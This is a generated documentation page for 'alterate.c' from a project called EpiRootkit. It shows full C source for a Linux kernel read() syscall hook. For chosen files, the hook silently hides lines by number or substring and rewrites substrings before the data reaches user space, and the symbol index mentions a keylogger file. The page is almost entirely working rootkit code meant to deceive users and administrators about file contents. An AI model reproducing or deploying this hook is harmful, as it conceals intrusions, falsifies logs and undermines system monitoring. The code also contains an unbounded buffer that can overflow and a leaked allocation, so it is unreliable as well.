EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
alterate.c
Go to the documentation of this file.
1#include "alterate.h"
2
3#include "alterate_api.h"
4#include "ulist.h"
5
6asmlinkage long (*__orig_read)(const struct pt_regs *) = NULL;
7
8asmlinkage long notrace read_hook(const struct pt_regs *regs) {
9 long ret = __orig_read(regs);
10 if (ret <= 0)
11 return ret;
12
13 // Resolve fd absolute path
14 int fd = regs->di;
15 struct file *f = fget(fd);
16 if (!f)
17 return ret;
18 struct path p = f->f_path;
19 path_get(&p);
20 char buf[512];
21 char *fullpath = d_path(&p, buf, sizeof(buf));
22 path_put(&p);
23 fput(f);
24 if (IS_ERR(fullpath))
25 return ret;
26
27 // Look up rule for this path
28 struct ulist_item *it;
29 char *rule_payload = NULL;
30
31 spin_lock(&alt_list.lock);
32 list_for_each_entry(it, &alt_list.head, list) {
33 if (strcmp(fullpath, it->value) == 0) {
34 rule_payload = it->payload;
35 break;
36 }
37 }
38 spin_unlock(&alt_list.lock);
39
40 if (!rule_payload)
41 return ret;
42
43 // Parse payload = "line:substr:src:dst"
44 char *dup = kstrdup(rule_payload, GFP_KERNEL);
45 if (!dup)
46 return ret;
47 char *fld[4] = { NULL, NULL, NULL, NULL };
48 int i;
49 for (i = 0; i < 3; i++)
50 fld[i] = strsep(&dup, ":");
51 fld[3] = dup;
52
53 int hide_line = simple_strtol(fld[0], NULL, 10);
54 char *hide_substr = fld[1][0] ? fld[1] : NULL;
55 char *src = fld[2][0] ? fld[2] : NULL;
56 char *dst = fld[3][0] ? fld[3] : NULL;
57
58 // Copy user buffer to kernel space
59 char *kbuf = kmalloc(ret + 1, GFP_KERNEL);
60 if (!kbuf)
61 return ret;
62 if (copy_from_user(kbuf, (char __user *)regs->si, ret)) {
63 kfree(kbuf);
64 return ret;
65 }
66 kbuf[ret] = '\0';
67
68 // Allocate a new buffer for the modified content, times 2, no other idea for
69 // the moment
70 char *out = kmalloc(ret * 2 + 1, GFP_KERNEL);
71 if (!out) {
72 kfree(kbuf);
73 return ret;
74 }
75
76 int line_no = 0;
77 size_t out_len = 0;
78 char *line;
79 while ((line = strsep(&kbuf, "\n"))) {
80 bool skip = false;
81 line_no++;
82
83 // Hide line by number
84 if (hide_line > 0 && line_no == hide_line)
85 skip = true;
86
87 // Hide line by substring
88 if (!skip && hide_substr && strstr(line, hide_substr))
89 skip = true;
90
91 // Replace substring
92 if (!skip && src) {
93 char *seg = line, *p2;
94 while ((p2 = strstr(seg, src))) {
95 // First part of the line
96 size_t before = p2 - seg;
97 memcpy(out + out_len, seg, before);
98 out_len += before;
99
100 // Replace substring
101 memcpy(out + out_len, dst, strlen(dst));
102 out_len += strlen(dst);
103 seg = p2 + strlen(src);
104 }
105
106 // Copy the rest of the line
107 strcpy(out + out_len, seg);
108 out_len += strlen(seg);
109 out[out_len++] = '\n';
110 continue;
111 }
112
113 // Copy original line if not skipped
114 if (!skip) {
115 memcpy(out + out_len, line, strlen(line));
116 out_len += strlen(line);
117 out[out_len++] = '\n';
118 }
119 }
120 out[out_len] = '\0';
121
122 // Write back to user space
123 if (!copy_to_user((char __user *)regs->si, out, out_len))
124 ret = out_len;
125
126 kfree(out);
127 kfree(kbuf);
128 return ret;
129}
asmlinkage long(* __orig_read)(const struct pt_regs *)
Definition alterate.c:6
asmlinkage long notrace read_hook(const struct pt_regs *regs)
Definition alterate.c:8
struct ulist alt_list
Definition alterate_api.c:6
static struct dentry * file
Definition epikeylog.c:145
char * payload
Definition ulist.h:11
struct list_head list
Definition ulist.h:12
char * value
Definition ulist.h:9
struct list_head head
Definition ulist.h:16
spinlock_t lock
Definition ulist.h:17